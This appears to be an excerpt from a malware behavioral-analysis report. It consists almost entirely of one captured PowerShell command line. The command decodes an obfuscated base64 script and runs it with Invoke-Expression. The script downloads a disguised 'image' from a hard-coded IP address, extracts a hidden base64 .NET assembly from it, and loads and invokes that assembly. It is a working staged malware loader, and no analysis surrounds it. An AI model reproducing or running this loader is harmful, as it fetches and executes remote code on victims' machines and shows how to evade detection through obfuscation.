Behavioral Analysis

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$Codigo = 'J#Bz#HQ#dQBu#HQ#aQBu#GU#cwBz#C##PQ#g#Cc#d#B4#HQ#LgBy#G8#ZgBl#HI#ZQBo#G4#bwBz#Gc#bgBp#Gg#d#B0#HM#ZQBi#HQ#ZQBn#HI#bwBm#GU#cgBo#HQ#ZQBn#G8#d#Bl#HY#bwBs#GU#cgBh#Gg#cwBl#Hc#LwBv#GM#YgBr#C8#c#Bw#G0#YQB4#C8#N##4#DE#Lg#0#DQ#MQ#u#Dg#N##y#C4#OQ#w#DE#Lw#v#Do#c#B0#HQ#a##n#Ds#J#By#GU#YwBv#Gw#b#Bp#GQ#aQBu#Gc#I##9#C##J#Bz#HQ#dQBu#HQ#aQBu#GU#cwBz#C##LQBy#GU#c#Bs#GE#YwBl#C##Jw#j#Cc#L##g#Cc#d##n#Ds#J#Bi#GU#YgBs#GE#cwB0#C##PQ#g#Cc#a#B0#HQ#c##6#C8#Lw#x#D##OQ#u#DI#N##4#C4#MQ#0#DQ#Lg#x#Dg#N##v#Hg#YQBt#H##c##v#HY#Yg#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Jw#7#CQ#Z#Bl#HM#YwB1#HI#YQBp#G4#aQBh#C##PQ#g#E4#ZQB3#C0#TwBi#Go#ZQBj#HQ#I#BT#Hk#cwB0#GU#bQ#u#E4#ZQB0#C4#VwBl#GI#QwBs#Gk#ZQBu#HQ#Ow#k#GE#cgBh#GI#ZQBz#HE#dQBl#GQ#I##9#C##J#Bk#GU#cwBj#HU#cgBh#Gk#bgBp#GE#LgBE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQ#o#CQ#YgBl#GI#b#Bh#HM#d##p#Ds#J#B0#Hc#ZQBy#Gs#aQBu#Gc#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bh#HI#YQBi#GU#cwBx#HU#ZQBk#Ck#Ow#k#H##ZQBz#GM#YQBk#Gk#d#Bv#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#UwBU#EE#UgBU#D4#Pg#n#Ds#J#Bm#HU#cwBp#G8#bgBs#GU#cwBz#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#k#GY#bwBy#GU#ZgBl#G4#Z#Bp#G4#Zw#g#D0#I##k#HQ#dwBl#HI#awBp#G4#Zw#u#Ek#bgBk#GU#e#BP#GY#K##k#H##ZQBz#GM#YQBk#Gk#d#Bv#Ck#Ow#k#GM#cgBv#Hk#b#Bz#HQ#bwBu#GU#I##9#C##J#B0#Hc#ZQBy#Gs#aQBu#Gc#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bm#HU#cwBp#G8#bgBs#GU#cwBz#Ck#Ow#k#GY#bwBy#GU#ZgBl#G4#Z#Bp#G4#Zw#g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GM#cgBv#Hk#b#Bz#HQ#bwBu#GU#I##t#Gc#d##g#CQ#ZgBv#HI#ZQBm#GU#bgBk#Gk#bgBn#Ds#J#Bm#G8#cgBl#GY#ZQBu#GQ#aQBu#Gc#I##r#D0#I##k#H##ZQBz#GM#YQBk#Gk#d#Bv#C4#T#Bl#G4#ZwB0#Gg#Ow#k#H##bwBv#Gw#a#Bv#HU#cwBl#HM#I##9#C##J#Bj#HI#bwB5#Gw#cwB0#G8#bgBl#C##LQ#g#CQ#ZgBv#HI#ZQBm#GU#bgBk#Gk#bgBn#Ds#J#Bz#G8#bQBl#HM#d#Bo#GU#cwBp#HM#I##9#C##J#B0#Hc#ZQBy#Gs#aQBu#Gc#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#ZgBv#HI#ZQBm#GU#bgBk#Gk#bgBn#Cw#I##k#H##bwBv#Gw#a#Bv#HU#cwBl#HM#KQ#7#CQ#cwBw#G8#cgBp#GM#aQBk#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bz#G8#bQBl#HM#d#Bo#GU#cwBp#HM#KQ#7#CQ#YwBv#G4#bgBp#HY#YQBu#GM#ZQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#HM#c#Bv#HI#aQBj#Gk#Z#Bl#HM#KQ#7#CQ#cgBp#G4#ZwBi#GU#YQBy#GU#cg#g#D0#I#Bb#GQ#bgBs#Gk#Yg#u#Ek#Tw#u#Eg#bwBt#GU#XQ#u#Ec#ZQB0#E0#ZQB0#Gg#bwBk#Cg#JwBW#EE#SQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#E##K##k#HI#ZQBj#G8#b#Bs#Gk#Z#Bp#G4#Zw#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#QwBh#HM#U#Bv#Gw#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#Mg#n#Cw#Jw#n#Ck#KQ#='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('#','A'))); Invoke-Expression $OWjuxd"